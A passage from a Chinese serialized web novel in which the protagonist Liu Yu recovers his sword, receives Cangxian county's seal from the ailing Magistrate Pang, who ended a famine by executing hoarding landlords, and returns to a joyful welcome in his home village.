正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第一百九十六章 失而复得 刘宪华一个眼神过去，周阳陆游等人纷纷拔刀，将玉军师团团围住。 玉军师显然是没有想到，事情能闹到这一步的。 阴沉着脸看向刘宪华： “他柳羽当真觉得，自己撇干净关系了？” “这我就不知道了，我只知道柳哥不想见你，也不可能见你。” 刘宪华笑着朝玉军师抬手： “所以，还是烦请玉军师，将幽泉剑交出来吧，否则大家都不好办。” “或者说，玉军师大可以高喊几句，说我家柳哥是个小人，忘恩负义的负心汉，你且看看有没有人会信？” “都是体面人，互相给对方…” 刘宪华话还没说完，就被玉军师抬手打断了。 眼看柳羽软硬不吃，玉军师果断将幽泉剑丢给了刘宪华： “行吧，都说做人留一线，日后好相见。” “既然柳羽一定要把事做绝，那开春后就各自保平安吧。” “啧，靖北王府世子郡主入冬前，就是在临县沧县一带失踪的，也不知到时候朝廷六部官员来了，会不会暗中调查调查，毕竟这两人要是还活着，作用还是很大的。” “没什么意思哈，就是感慨感慨，既然柳羽不愿见，那我就走呗。” 冷笑一声，玉军师转身就走，一丁点犹豫都不带有。 刘宪华全然不在意，甚至还抱着幽泉剑，乐乐呵呵朝渐行渐远的玉军师挥手： “慢走哈，不送哈。” “哈哈哈，你们听明白她说啥了吗？” 周阳摇头：“不懂。” 陆游摊手：“气急败坏了吧，管她的，走了就行。” 刘宪华手握幽泉剑，乐得合不拢嘴。 什么靖北王府，什么朝廷六部，这些都离他刘宪华太过遥远了，听都没怎么听说过。 刘宪华只知道，柳羽要躲着的女人，自己赶走了。 柳羽交代的任务，完美完成了。 啧啧啧，我咱这么牛呢，不愧是我刘宪华！ 次日清晨，柳羽醒过来走出营帐时，阴沉的天下着朦胧小雨，笼罩整片山野。 到了快开春的时候，小雨连绵冰雪消融，熟悉的泥土气息与草木芳香便会弥漫开来。 这个时间段，可以说是柳羽最喜欢的时节了。 照目前这情况，虽然不太可能会再下反季雪了，但气温却是乍暖还寒的，清晨时分的气温，往往要比大冬天的时候还要更冷一些。 柳羽搓着小手出营帐。 队伍里，在王五李晟的指挥下，士兵们已经以小队为单位架起炉灶生起了火，锅里煮起了香喷喷的热粥。 虽然目前肉食搞不到，但就是这简简单单的一碗白米粥，在当今这个世道，就已经算得上是珍馐了。 柳羽一出来，营帐边不远处坐在火堆边的武汉冲，就朝着柳羽招手。 等到柳羽走到武汉冲身边坐下，早已经等候多时的刘宪华，立马殷勤地将一碗热粥递到柳羽手上。 “这么开心？玉军师赶走了？” 柳羽笑着开口道。 刘宪华啪啪两掌拍在自己胸口上：“那可不，我办事柳哥你还能不放心吗。” “嘿嘿嘿，我不仅是把人赶走了，还替柳哥讨回了一样东西。” “哦？”柳羽刚把热粥端到嘴边想喝一口，听到这话眼睛顿时就亮了起来：“什么东西？” “幽泉剑啊柳哥！” 刘宪华耍宝似的从背后把幽泉剑掏出来： “柳哥你可得收好了，就为了把它讨回来，我费老鼻子劲了。” “哎哟！”望着眼前失而复得的幽泉剑，柳羽高兴得几乎是合不拢嘴。 粥都不喝了，柳羽放下碗就赶忙把幽泉剑抓回手里，宝贝似的仔仔细细打量了一遍，确定真是自己的幽泉剑后，柳羽朝着刘宪华竖起了大拇指： “不错不错，不愧是咱刘总旗，办事就是靠谱啊！” “到沧县后想要什么直接说，必须好好奖赏哈！” 被柳羽当着所有人的面这样子夸奖，刘宪华明明开心得嘴都翘到了天上去了，却还摆出一副很谦虚的样子：“哪里哪里，这都是我这个当属下的，应该做的啊。” 柳羽大笑出声。 自从王家村一战，刘宪华立下大功后，柳羽就已经改变对刘宪华原先的看法，喜欢上他了。 现在更是越看刘宪华越觉得顺眼，稀罕得不得了。 旁边的武汉冲，手拿一张地图，慢悠悠喝着热粥。 一直等到柳羽开心完了，武汉冲才淡淡道： “柳哥，沧县现在管事的还是庞县令吧。” “咱这么多人今天进驻沧县，怎么跟庞县令解释，你想过没有？” 柳羽笑着摇头：“没想过，因为咱们不进沧县，是要直接绕过沧县去柳家村。” 此话一出，武汉冲顿时皱紧了眉头。 村跟县，差距是很大的。 尤其是临县跟沧县。 寻常地方小县，在规格上是不会建造城墙的，朝廷律法跟地方管理条例，也都不允许。 因为当下实行的是郡县制，天下九州二十四郡四十八府，光洛北城那样的郡城就有四五十座，府城县城加起来近九百余座，朝廷光大型城市都管不太过来，能给小县设个县衙就已经是极限了。 因此，朝廷通常是只管州城郡城府城这样的大城，县城小县的管理权，则是一部分分给当地大城城主管，一部分分给朝廷钦点的县令管。 这种情况下，为了加强集权力度，就必须削弱地方上的力量。 比如，人口不足多少的县，不允许建城墙，不允许有超规格军营，不允许制造甲胄训练骑兵，不允许有打造兵刃的铁匠铺等等。 只要地方力量的壮大被遏制住了，朝廷的天命才能顺利朝地方下达。 临县跟沧县，规定上便是不允许建城墙的县城，甚至卫所营总人数都不允许超过一千人。 但例外就例外在，临县沧县处在的地方太特殊了。 群山深处，朝廷不好管，鸟不拉屎，朝廷不乐意管，属于太平时期贱如毛，也就乱世之中会被人当作金子。 以至于临县跟沧县从来都是自己靠着群山发展，为了避免被山里野兽袭击，城墙在一代代人的努力下也就建起来了。 朝廷很多法度在这都不适用，管理力度也很小。 第一百九十七章 回沧县 这也就导致了，临县跟沧县不仅都有着自己的城墙，且有着相对完善的产业。 种粮食的、种粗麻的、矿洞、铁匠铺、养马场，渔场等等，各类产业基本上都有。 临县是因为战乱久了，破败不堪没了往日繁华。 沧县可不一样，沧县在庞县令的带领下，算是勉强挺过了这个冬天。 开春以后，各类产业都会得到迅速的恢复。 而这些产业中。 像种粗麻做衣服卖的，可以转成搓弓弦，批量为铁匠铺供货。 而生产农用器具的铁匠铺，可以转成批量生产刀剑弓弩。 同时熟练的铁匠聚集起来，可以研究研究生产甲胄。 养马场矿场这些自不必多说。 武汉冲都已经想好了，一等到跟着柳羽进入沧县，立马就着手对沧县进行改造，屯粮练兵造武器。 好等到天下彻底乱起来的时候，剑指中原。 这是要做的，也是必须做的，而且需要赶快做。 武汉冲都以为，柳羽是会直奔沧县，庞县令敢不听话，就直接把沧县打下来呢。 却怎么也没想到，柳羽想的居然是绕过沧县，去他老家柳家村。 这个决策武汉冲万万不能理解。 皱眉沉思良久后，武汉冲目光看向柳羽： “沧县于我们有多重要，主公可明白？” 柳羽脸色笑容一凝，心里很清楚，武汉冲不叫柳哥叫主公的时候，就说明他动真格了。 没有犹豫，柳羽点头道： “自然明白，沧县关系着所有弟兄的性命。” “既如此，那主公可明白，马上就要到来的这个春天，对我们有多重要？” 武汉冲继续道。 柳羽依旧没有犹豫，对答如流： “无论临县还是沧县，还是周边村落，都严重缺粮，这个春天不能在每处田亩都播种上粮食，恢复各产业生产，到了入冬之时，沧县就彻底废了。” 武汉冲点头，目光平静地看着柳羽： “既然都知道，主公为何不直取沧县，反而是绕道回柳家村？” “难道主公的思乡之情，就真的有这么重吗？比天下大业都重？比兄弟们的性命都重？” 面对武汉冲质问，柳羽无奈叹息。 事有轻重缓急，柳羽怎么可能不知道。 就是再蠢，柳羽也不可能因为什么思乡之情，儿女情长，拿自己跟弟兄的命开玩笑啊。 虽然是被武汉冲误会了，柳羽却并不着急辩解。 犹豫了一下之后柳羽才意有所指地问道： “庞县令这人如何，军师可有了解？” 武汉冲点头：“了然，能力上乘，为官清廉，唯独不会和光同尘。” “那我有反水拥兵自重之意，军师觉得，庞县令可会支持？” 柳羽又问道。 武汉冲断然摇头： “绝不可能。” “庞县令这种人，是相对比较迂腐的，既已在朝廷为官，就必不可能背叛朝廷，主公想让他助你，恐怕是在白日做梦。” 柳羽却是咧嘴一笑，十分自信地看向武汉冲： “敢不敢打个赌。” “我赌庞县令不仅会助我，更是会把一个被他打理得井井有条的沧县，移交到我手上。” “赌注的话，咱也不堵大了，就赌碎银九两吧。” 九两碎银，对于当下的柳羽武汉冲来说，也就是一顿酒钱，甚至可能不够。 但钱虽不多，两人赌的，主要是各自的自信。 武汉冲犹豫了半晌，不再生气，反而是轻笑道：“柳哥敢说出这样的赌注来，看来是已经胸有成竹了。” “既然如此，赌了！” 柳羽笑盈盈点头。 眼看队伍吃饭吃得也差不多了，不少士兵都已经把炉灶收了起来。 柳羽当即起身挥手，让大家继续赶路。 清晨的小雨下了有两三个时辰，到了快正午时，太阳逐渐从头顶升起。 柳羽一行人足足走了小半天功夫，才在下午末时左右，抵达沧县附近。 由于考虑到自己这近一千人马太过恐怖，靠近沧县必然引起恐慌。 在离沧县还有两三千米距离时，柳羽就命王五李晟，带队绕路回柳家村。 而柳羽自己则是一人一马一把剑，牵着马匹仿佛一个混江湖的侠客似的，缓缓朝着沧县走去。 临近开春，沧县此时的情况明显要比当初柳羽离开的时候好得多。 靠近城门的时候，柳羽甚至能看到城门口有卖柴的，卖菜的各自商贩，自城门处穿行而过。 柳羽牵着马，跟在行人最后面想着低调进城。 不承想刚走到城门口，几个守城门关卡的卫兵，就连忙起身拦住了柳羽： “小哥，庞县令新规定，不允许带兵刃马匹进城。” “你若是要进城的话，需…” 柳羽抬头，笑盈盈朝着说话的卫兵看去：“需要什么？” 为首的卫兵看清楚柳羽长相后，几乎整个人都愣住了。 瞪大眼睛盯着柳羽看了好一会儿，才不敢置信地开口： “柳，柳，柳秀才？” “你是柳秀才！” 柳羽笑着点头：“我都以为我离开这些天，沧县的父老乡亲该把我给忘光了呢。” 卫兵赶忙摇头： “这怎么可能啊，从你离开那天开始，庞县令是不是就会提起你呢。” “你是不知道，临县那边打仗的消息时不时传过来，一会儿说都护府被截杀了，一会儿说临县城被叛军攻破了，后来又听说洛北城来了大官，越传越神乎。” “我们是探不明白真假的，就是听临县过来的流民说，死了不少人，你是不知道，庞县令他都以为你回不来了呢。” 柳羽大笑着，抬手将一块银锭丢给卫兵： “哈哈哈，这银子请弟兄们喝酒，我这次回来就是专程来找庞县令的。” “庞县令是下了新规定，让进城的兵刃马匹都交给你们保管吗？” 柳羽说着，正想将腰间的幽泉剑，连带手上马匹的缰绳一齐交出去。 为首的卫兵见状连连摆手： “不用不用，庞县令这规定是用来防流民进城闹事的，柳秀才你是去临县当兵回来的，肯定用不着啊。” “快进去吧，庞县令要是知道你回来了，一定会特别开心，他老人家最近压力大得啊，半夜吐血。” 第一百九十八章 再见庞县令 柳羽眼眸低沉。 记忆中，可从不曾听说庞县令得过什么病。 思索着，眼见身后还有不少附近村庄来的老头老太太，等着进城卖菜，柳羽牵着马缓缓步入沧县城门。 进城后，柳羽走在小雨过后湿润的青石板地面上，眼前的沧县，居然和之前柳羽离开时，没变多大模样。 临近开春，沧县甚至比当初柳羽离开时，还要更繁华一些。 这个时间段，就已经有人在正大街上摊开一块布摆摊，售卖各类粮食种子了。 卖肉的卖菜的卖背篓的，虽然隔着两十来米才能看到一个商贩，买东西的人也不多。 但对比起建筑焚毁了一大堆，全县平民都凑不足一千人的临县来说。 沧县几乎可以说是安安稳稳撑过了这个冬天。 想做到这一点，这其中倾注了庞县令多少心血，柳羽简直不敢相信。 要知道，沧县可是两三万的人县城啊，哪怕有离开逃难的，人数也绝对维持在一万人往上。 柳羽光是保证自己手下一千来人吃喝，就已经费尽心机，不得不拉下脸皮找天军借粮骗粮。 而庞县令却是靠着自己的本事，不仅没让沧县发生民变，更是让全县一万多人都安稳度过了冬天。 这其中的难度有多大，以前的柳羽未必能理解，此刻却是清楚知道。 柳羽牵着马，一路缓慢朝沧县县衙走着，偶尔甚至能看见三三两两的孩童在路边，天真无邪地玩耍。 走到县衙外面的时候，柳羽发现偌大的县衙门口，居然连个站岗的衙役都没有。 柳羽停好马缓步走进去时，穿过堂屋，走进案房，才听见有阵阵咳嗽声传来。 顺着声音找寻过去，偌大县衙空无一人，庞县令堂堂一县之主，居然是顶着病体，自己坐在火盆边劈柴，往火盆里添。 更令柳羽讶异的是，当初离去时庞县令还是满头黑发，这才短短两个月，就已经两鬓斑白，身形消瘦了许多不说，更是面色苍白嘴唇发乌。 活像个时日无多的病秧子。 由于柳羽进来的步伐很轻，庞县令背对着柳羽坐在案房门口。 往火盆里添了新柴后，庞县令便拿起手边的竹简，一边看，一边手拿毛笔进行批注，眉头总是微皱的样子，甚至因为看到不好的消息，会爆发出剧烈的咳嗽，响彻整座县衙。 柳羽想过很多种再见到庞县令时的场景。 却完全没有想到，居然会这么的物是人非。 等柳羽缓步走到庞县令身后站着，庞县令都还在细细批注竹简。 一直到过了一炷香的时间，庞县令将一整卷竹简批注完，扭头想拿另外一卷的时候，才愕然发现了身后的柳羽。 见到柳羽回来，庞县令眼中先是闪过一抹惊诧，紧接着露出欣喜的神情： “回来了？” “嗯，回来了。” “瘦了，临县当兵，不好受吧？” “我还好。”柳羽凝望嘴角噙着笑意的庞县令：“倒是你，这是染了风寒？” 庞县令摆手：“无碍。” 说着，庞县令亲自起身到一旁去，搬了把椅子到柳羽身边。 随即又一边咳嗽，一边拎来茶壶给柳羽斟上： “偶尔听逃难流民，传来临县的信息，一会儿说都指挥使司官兵被叛军截杀了，一会儿说临县城破了，我是整日整夜睡不着。” “担心你回不来，担心临县被破马上就是沧县被攻打，哎，这个冬天过的，大年三十都在提心吊胆。” “哈哈哈，唯一亲眼看见的好消息，就只有你柳秀才安全从临县回来了。” 庞县令絮叨着，一脸开心地望着柳羽： “说说看，现在的临县，到底怎么样了？” 对于庞县令这个自己敬重的朋友，柳羽没什么好隐瞒的。 从自己到临县第一天晚上，就抓住叛军探子萧寒衣，讲到自己发现临县王县令，伙同都指挥使司贪官把临县搜刮来的金银珠宝往洛北城运，再到后来自己截杀都指挥使司官兵，收服刘宪华。 柳羽可谓是知无不言，言无不尽。 说到最后面，柳羽甚至就连自己怎么伙同武汉冲，给玉军师下套，后又被玉军师皇室身份吓得连夜跑路的事，都一股脑全讲了出来。 庞县令全程安静的听着，时不时点头，或是提起茶壶帮柳羽把杯中茶水添满。 至于柳羽干的缺德事，造反的事，庞县令听了也只是一笑了之，并不过多询问，也不发表任何意见。 等到柳羽说完的时候，就连柳羽自己都有点不敢相信，一脸踌躇地朝着庞县令道： “我现在跟反贼，基本上已经快差不多了。” “庞县令你…就没有什么想说的？” 庞县令叹息一声轻笑着摇头： “人各有志，没什么好说的。” “放我年轻那会儿，你这些事情交代出来，我已经命人拿你问斩了。” “现在嘛…” 庞县令苦笑道： “现在已经没这个必要了，民为社稷之根本，朝廷却全然不顾天下百姓之疾苦，我这颗心啊，凉得差不多了。” 听庞县令这样说，柳羽想起来，自己当初离开沧县的时候，沧县就已经处在缺粮状态了。 这么久的时间，临县一段官道运粮运不过来。 沧县附近多流民，出城打猎或是到周边村庄借调粮食也极为困难，按理来说，沧县是不可能不出事，不可能不饿死人的。 柳羽不禁皱着眉头询问： “庞县令，沧县缺粮一事，你是如何解决的？” 听这话，庞县令苦笑的神情中，流露出一抹柳羽重没见过的狠厉： “还能如何解决，杀大户呗。” “自你离开临县以后，屡次派人传信去附近各县求粮，发书向朝廷求粮得不到回应，城内粮草告急，百姓以清汤寡水度日，唯有城里大户人家仓库里存有余粮。” “起初我是将他们聚到一块，望他们能体恤民情，跟临县同甘苦掏点粮食出来，又不是白要，我调库银向他们买，写欠条问他们借。” “结果一个个的不是漫天要价，一斤草糠管我要十两银子，就是地主家也没有余粮。” 第一百九十九章 外戚 话越说到后面，庞县令眼神就越冷： “有的大户，更是听临县那边打得厉害怕沧县跟着遭遇，拖家带口想着趁夜偷跑出城找地方避难。” “人走就算了，平民百姓粥都喝不少，他们是粮食装泔水一车车往外运，银子藏棺材里，一个哭丧队伍，运成千上万两白银出去。” “那我也没办法啊，总不能眼看着城里百姓易子而食，或是去吃能吃死人的观音土吧？” 咳嗽几声，庞县令单手成刀凝声道： “我干脆一不做二不休，凡是往外运粮运银子被抓的，尽数砍头家产没收。” “凡是私藏粮草，不愿行价卖不愿借的，抓到便杀。” “杀了他个九天九夜，杀得沧县血流成河，大户被收拾得差不多了，沧县的粮食危机也就解除了。” 柳羽挑起眉头，多少有点不敢置信。 “整个沧县，普通人家几千户，大户人家不过百余户吧？” “这百十来大户，便能提供一县所需之粮草？” 庞县令轻笑：“沧县两万余人，过冬两月所需粮草是多少，你知道吗？” 柳羽点头。 若是放以前，柳羽是肯定不知道的。 但现在天天想着该上哪儿去找粮食，养活手下一千来号人。 粮草方面的相关情况，柳羽可谓是门清。 连算都不用算，柳羽就果断道： “省着点吃三万石勉强够用，六七万石便够一县百姓，顿顿饱饭吃两个多月了。” 庞县令饶有兴致地望着柳羽，乐呵道： “那你再猜猜，一个普通大户人家的谷仓里，能存多少粮食？” 普通百姓存粮按袋论，大户人家存粮按仓论，一仓便是两百石粮食。 毕竟沧县也不是多富裕的地方，普通大户家里能存满一仓粮就已经很难得了。 柳羽没有任何犹豫，果断道： “顶破天了，一两百石吧？” “哈哈哈，一两百石。”庞县令听到这话大笑出声。 柳羽看他这反应，不禁有点自我怀疑了，有点不确定道： “难道，一百石都不到？” 然而，庞县令却是摇头，朝着柳羽摊开自己手掌，露出五根手指头。 柳羽嘴巴张大，倒吸一口凉气：“五，五百石？” 庞县令嗤笑着点头： “不错，这些个大户经年累月积攒家财，剥夺百姓，我对苍县城内大户动手，查抄过的最差的一户大户人家，家里都有三个谷苍，五百石粮食。” “高一点的，六七百七八百石，甚至有四个大户家中谷苍成库，粮食一半藏城外荒郊，一半藏城内府邸，光一处地方就藏着一千五百石。” “光是得罪你的那个富商，我一个个查抄下去，那是整整搜出二十一万三千六百四十六石粮食啊，糙粮细粮，鹿肉狼肉，那是应有尽有！” 庞县令笑盈盈地望着满脸惊诧的柳羽： “这么跟你说吧，平民百姓什么都没有，就是有骨气，日子再怎么样也不会哭穷。” “大户就不一样了，他们是反过来的，明明家财万贯，却还整日把个穷字挂嘴边，路牙子上掉片菜叶都想要捡一下。” “所以啊，永远不要相信大户穷，他们叫得越厉害，家产就越丰厚。” 柳羽深吸一口气，也算是长见识了。 就是有点可惜，遇到的临县实在是太穷了。 柳羽去的时候，临县已经不剩多少大户，根本就没有杀大户的机会。 现在沧县的大户又被庞县令整治了一遍，柳羽就更没有机会体验到，杀大户的快感了。 柳羽颇为可惜的摇了摇头，了解到沧县基本情况后，当即将话题转移到正事上。 柳羽神情凝重地朝着庞县令看去： “开春后，应该就在下个月十七八号左右，朝廷会派六部官员前来沧县，我觉得大概率就是专门针对你而来的。” “庞县令，你到底是得罪朝廷哪位重臣了，他要这样子搞你？” “这就不知道了。”庞县令摇头道：“要说得罪，我当初中举受皇命入殿，面见皇上时，就已经把大半个朝廷的人都得罪了一遍。” “至于有多少人恨我，那我就不知道了，人太多，数不清的。” 柳羽嘴角抽搐，多少有点不敢相信。 可事实又摆在眼前。 庞县令的能力是有目共睹的，他如果不是因为在朝廷里得罪了人，朝廷可能把他下派到苍县这种鸟不拉屎的地方来吗？ 在中原给庞县令安排个大县，或者是将庞县令安排到大城市里，给城主府当住手师爷啥的，这样不好吗？至少是比在沧县当个县令活得久，活得更舒服。 柳羽不禁好奇地朝着庞县令问道： “你说你中举面见皇上时，得罪了人？怎么得罪的？” “当时正值皇后生辰，我又刚好中举，皇帝便考我文采，要我赋诗一首送给皇后。” 柳羽一脸不解： “这不挺好吗，拍马屁的好机会，你这首怎么作的？” 庞县令挠了挠头，明显是太久时间记不起了，想了好一会儿才想起来道： “村落甚荒凉，年年苦旱蝗，老翁佣纳债，稚子卖输粮…” 诗念到一半，庞县令就停止了，颇为无奈道： “当时就只来得及做出这四句，昨晚就被叉出了大殿，此生再没有机会回去过。” 庞县令这仅仅只有四句的诗，却是给柳羽听得一愣一愣的。 好家伙，皇后生辰，科举刚结束。 在这样的日子里，你来一句老翁佣纳债，稚子卖输粮？ 这不纯粹是在给皇帝上眼药吗？ 没被当场砍头就算好的了，还想有机会能再回一次皇宫。 那可就属实是有点做梦了。 听完庞县令这四句诗，柳羽都缓了好一会儿才缓过劲来，犹豫半晌，喉结蠕动咽了口唾沫道： “所以这四句诗，是你专门作出来送给皇后的？” 庞县令下意识点头，但很快又摇了摇头： “主要是想劝皇上不要荒淫无度，多体谅一下民间疾苦吧。” “但也确实是有想阴阳皇后的意思。” “咱们国家，外戚掌权这件事情现在已经转变成一个大问题了，我想给当时的皇帝提个醒。” 第两百章 少年人，莫回头 柳羽面色微沉。 一早听闻，现在朝堂上是小皇帝登基，皇后垂帘听政。 庞县令当初入仕得罪的皇后，应当是现在的皇太后。 这就难怪了。 临县叛乱没见朝廷怎么管，都护府被截杀也不见朝阳有什么反应。 偏偏是一个为国为民的庞县令，朝廷是抓住机会就要他命，一动手就是六部官员齐上阵。 要知道，外戚掌权这种事情放在任何朝代，都是极度敏感的。 一群没有学识，没有军功的人，靠着家中女子做了皇帝的女人，掌控一个国家。 他们拿什么堵住天下幽幽众口，拿什么让人信服听命？ 无非是大搞文字狱，凭屠刀把一切反对的声音都压下去而已。 这种情形，跟走钢丝没什么两样。 比历史上那些谋权篡位，佣兵造反的不如。 毕竟谋权篡位用兵造反，都得靠自己点将带兵，把旧朝地盘一城一城打下来。 成功了，哪怕天下有人反对，仅凭一句‘先朝若是有德，天下能被我打下来’，就能怼得一群人哑口无言。 哪怕反对的人再接受不了，也不得不打心眼里服气，因为人家就是凭本事打天下的，这是事实。 外戚掌权不一样，这相当于是空手套白狼的窃国。 反对的声音一起来，得权不正就是得权不正，连一丁点反驳的理由都找不出来。 因此外戚掌权，是绝对意义上容不得一丁点反对声音的。 这也正是为什么，朝廷可以不管临县，也可以不管都护府，但一定要管庞县令的根本原因。 临县再乱，触碰不到掌控朝廷那帮人的根本利益。 但庞县令一个朝廷官员，天天嚷嚷着什么小心外戚掌权。 掌控朝廷那帮人不想弄死他就怪了。 弄明白了这一点，柳羽算是看清楚了庞县令当下的处境。 论起来，此前柳羽因为玉军师的失分，就吓得赶忙跟玉军师做切割。 庞县令这事牵扯的，其实要远比玉军师的身份更麻烦一些。 弄不好，柳羽甚至可能会直接被朝廷大军讨伐。 但柳羽却是一点没在意，望着庞县令平静道： “老庞，开春后无论六部官员来沧县干什么。” “只要你开口，我柳羽保证，在苍县这地界没人动得了你，也没人带得走你。” 庞县令轻笑着摇头，咳嗽几声后，强撑着病体平静道： “我已是不惑之年，活够了，切不能因我，而徒伤他人性命。” “柳羽，你千人大军至沧县却不兵临城下，沧县对你有多重要我很清楚，你因为我个人，宁愿让大军去柳家村，都不愿让他们靠近沧县，这份心意，我领了。” “但其实，没必要的。” 庞县令佝偻着腰缓慢起身，摇摇晃晃朝着他经常办公的书案走去。 柳羽见状连忙上前搀扶。 却只见庞县令走到书案边，竟是将一枚早已经用锦袋装好的印章，递到了自己面前。 黄色锦袋，只会被用来装官印，圣旨。 柳羽一眼就看出了，庞县令朝自己递过来的，乃是沧县县令的大印。 这是…要把沧县交到自己手上？ “拿着吧。” 庞县令轻笑道： “我在乎的从来就不是我这身官服，更不是沧县。” “我只是想让城中百姓安居乐业，老有所养幼有所育罢了。” “所以沧县于我而言不重要，下一任接班人能否照料好百姓，才是我所在乎的。” 庞县令认真看着柳羽： “你对柳家村村民如何，我很清楚。” “其实我一早就希望你能考取功名，在未来的某一天回到沧县接替我。” “现在的情况，虽然和我预想的南辕北辙，但沧县交你手上，我很放心。” 柳羽神情震颤。 怎么也没有预料到，庞县令的心中，居然把自己放得这么高。 沧县于县令大印对柳羽极为重要，柳羽没有含糊，果断接了下来。 将厚重的大印握在手里后，柳羽才沉声道： “老庞，你当真不许我帮忙？” 没错，柳羽问的是不许，而不是不要。 庞县令说，不能因为他徒伤了他人性命。 意思很明显，庞县令不允许任何人为了救他而死。 柳羽想救，是一定会跟朝廷起冲突，死人的。 庞县令不许，柳羽根本无从插手。 但就跟柳羽预料的一样，这个问题问出来时，庞县令无比平静的点头： “不许。” “柳羽，一个朝代，有一个朝代人该做的事，我的朝代即将落幕，接下来的乱世，是你们年轻人的天下。” “不要因为我坏了自己的大业，今天之后我们也不必再见面，若哪一天听闻我身死的消息，替我照料好沧县百姓，让百姓们脸上多点笑容，我便也知足了。” 柳羽拳头紧攥。 还想说些什么，庞县令却是转过身，背对着柳羽摆手： “去吧，去吧，少年人，莫回头。” 深吸一口气，柳羽退至门口双手高举县令大印，对着庞县令深鞠一躬，这才转身离去。 出了县衙，柳羽在大街上寻到一处卖首饰的摊位，花二两银子买了根玉簪子，便出城快速朝着柳家村赶去。 现在已经临近天黑。 放以前，沧县到柳家村的路程，柳羽少说得赶到夜间亥时以后，才赶得回去。 但现在冰雪融化，柳羽一人一马在山道上疾驰，仅是用了一个时辰，就赶过了一半路程。 一路上，以前遍地能看到的流民少了许多。 有不少流民聚堆在一起，居然是在官道边上砍伐树木，修建起了一栋栋房屋的雏形，更是在房屋边上开垦了荒地，种上了一些合季的蔬菜。 或许在等个几月半年的，这些流民聚集地，便会发展成一座座村落。 柳羽正好骑马经过一处流民聚集地，发现官道边上的流民，不仅修建了房屋开垦了荒地，甚至就连通往官道的小路，他们都用石头堆砌了一条出来。 柳羽减缓马匹速度观察时，正好见几个青年汉子，手拿锄头在官道边上挖沟渠。 见状，柳羽操控着马匹慢悠悠靠过去： “老乡，你们这是什么村啊，新建的吗？” 第两百零一章 回村 听到声音，几名汉子连忙回头。 眼看柳羽骑着马匹穿着华贵，腰间还别着长剑。 其中一名年长点的汉子赶忙抱拳道： “回官爷，我们这是百户村，上月新建的。” “沧县县老爷虽不许我们这些流民进城，却是允许我们在临县周边开垦荒地，新修房屋。” “县老爷厚道啊，每建一栋房屋，便奖我们半石粮食，每开垦一亩荒地，便奖一石粮食。” “大家为了粮食，也不用再卖儿卖女拦路抢劫了，都铆足了劲建房子开荒地，现在光我们百户村啊，自己地里的粮食一熟，都能勉强糊个口了。” 柳羽神色微凝。 沧县周边流民，是治理沧县的一个大问题。 柳羽都已经想好了，自己一接手沧县，就立马开始着手治理流民。 却怎么也没想到，庞县令居然已经帮自己治理好了。 而且用的，居然还是这么好的办法。 让流民们自己建房子开荒地，自给自足，只是前期给一些粮草支持而已。 这法子就是柳羽来想，都未必能想的出来。 庞县令却在短短两个多月的时间里，已经办到接近尾声了。 这官当的，真是挑不出一点毛病来。 “那像你们这样的村落，现在一共有多少座呢？” 柳羽好奇地问道。 那汉子挠头思索： “多少…十来座该有的吧，具体我也不清楚。” “主要是有手艺的，都被县老爷挑出来带走了，像我们这些只会干粗活的，才让自己建房子开荒地，不然新建村落应该会更多些。” 柳羽眉头微皱：“会手艺的都被带走了？” “知道带走干什么去了吗？” 那汉子更迷糊了： “都是些铁匠裁缝木匠瓦匠啥的手艺人，识字的也有。” “但具体干什么去了…这你得问县老爷，我们是真不知道。” 柳羽见状，也不再过多询问了。 抬手掏出一锭十两的银子丢给汉子： “谢了老乡。” 说罢，柳羽提起缰绳，快速赶往柳家村。 本来官道边上的情况，柳羽是不怎么关注的。 但经先前白户村的汉子一说，柳羽细数起新建的村落来。 发现像百户村那样，建了五六栋房屋，开垦了十几亩地的新村落，居然有着十来座。 尤其是靠近水边的地方，竟然出现了两座十几栋房屋，五六十人的大村落。 其规模比起柳羽老家柳家村，都已经不遑多让了。 虽然其建筑主要是木头树枝建造，比起柳家村较为普遍的砖瓦房差了许多，但假以时日，必定会繁华起来，甚至可能会超过柳家村。 这种情况，柳羽是越看越觉得心惊。 庞县令把那么大个沧县治理得那么好就算了，居然连沧县周边都打理得井井有条。 这能力，柳羽拿自己对比起来，都不禁有些汗颜。 路上这一耽搁，柳羽临进柳家村时，天老早就黑了下来。 但柳羽还在路上呢，老远就看见柳家村村口，明晃晃一堆亮起的火把。 刘宪华武汉冲周阳等人路边站，中间柳家村里正，李玉儿李婉儿王婶等一众柳家村村民，是眼巴巴地盯着进村的路。 一见到柳羽骑着马匹缓缓走来，一大群村民瞬间就躁动起来。 甚至都等不到柳羽靠近，柳羽离村口还有四五百米呢，村民们就蜂拥出来，把柳羽的马匹给团团围住了。 “柳羽哥哥，柳羽哥哥，给你姐姐做的糖葫芦！” 许久未见的楚灵汐变得开朗了许多，手抓住柳羽的腿，急着把手上一串糖葫芦递给马背上的柳羽。 旁边，楚敬修背后背着把木头制成的枪，一脸得意地朝着柳羽喊道： “柳哥哥，楚廿一说我扎马步能扎六个时辰，他就允许我练武，我硬生生扎了十个时辰，不仅逼得他教我练武，还硬让他给我做了杆枪，怎么样，我厉不厉害！” 边上，玉娘死死抱住柳羽另外一条腿，哭得梨花带雨： “呜呜呜，夫君你终于回来了，里正他们去城里卖货，听庞县令说临县被攻破了，我还以为你，呜呜…” 李婉儿在角落里，一脸生气地拿手拍柳羽后背： “姐夫你也真是的，离家这么久也不给家里来书信，姐姐跟我都快担心死了你知道吗！” 王婶搁衣袖里，掏出个用黄油纸包起来的大猪腿往柳羽手上塞： “柳秀才，你可要小心那个姓楚的懒汉，一天天的不是摸这家的鸡，就是偷那家的酒，你是不知道啊，咱们村里剩下的最后一根猪腿，还是今儿早上我偷偷藏起来的，我要不藏，今晚你回来了都得跟着大家一块吃糙米配野菜！” 里正手拿根烟袋杆子，笑得露出他缺掉一颗门牙的老黄牙： “秀才你少听王婶瞎说，她就是稀罕灵汐那丫头，有啥好东西都想着藏起来偷偷给灵汐吃，楚廿一跟敬修那小子说她偏心，才老是偷她藏起来的东西的。” 不仅仅是这些人，其他村民围在马边是你一言我一语，挤得柳羽别说下马了，生怕马儿受惊，是一边奋力控制缰绳，一边含糊回应： “啊，好好好，哥哥不喜欢吃糖，灵汐自己吃。” “嗨哟，这么牛叉吗敬修？你小子可以啊！” “玉娘不哭哈，我这不是回来了吗。” “是是是，我的错，忘记写家书了。” “啥？他楚廿一偷肉吃就算了嘛，现在连酒也偷了？” “里正，你门牙咋掉了一颗？” …… 也不知道是用了多少时间，半个时辰？还是一个时辰？ 柳羽完全记不住了。 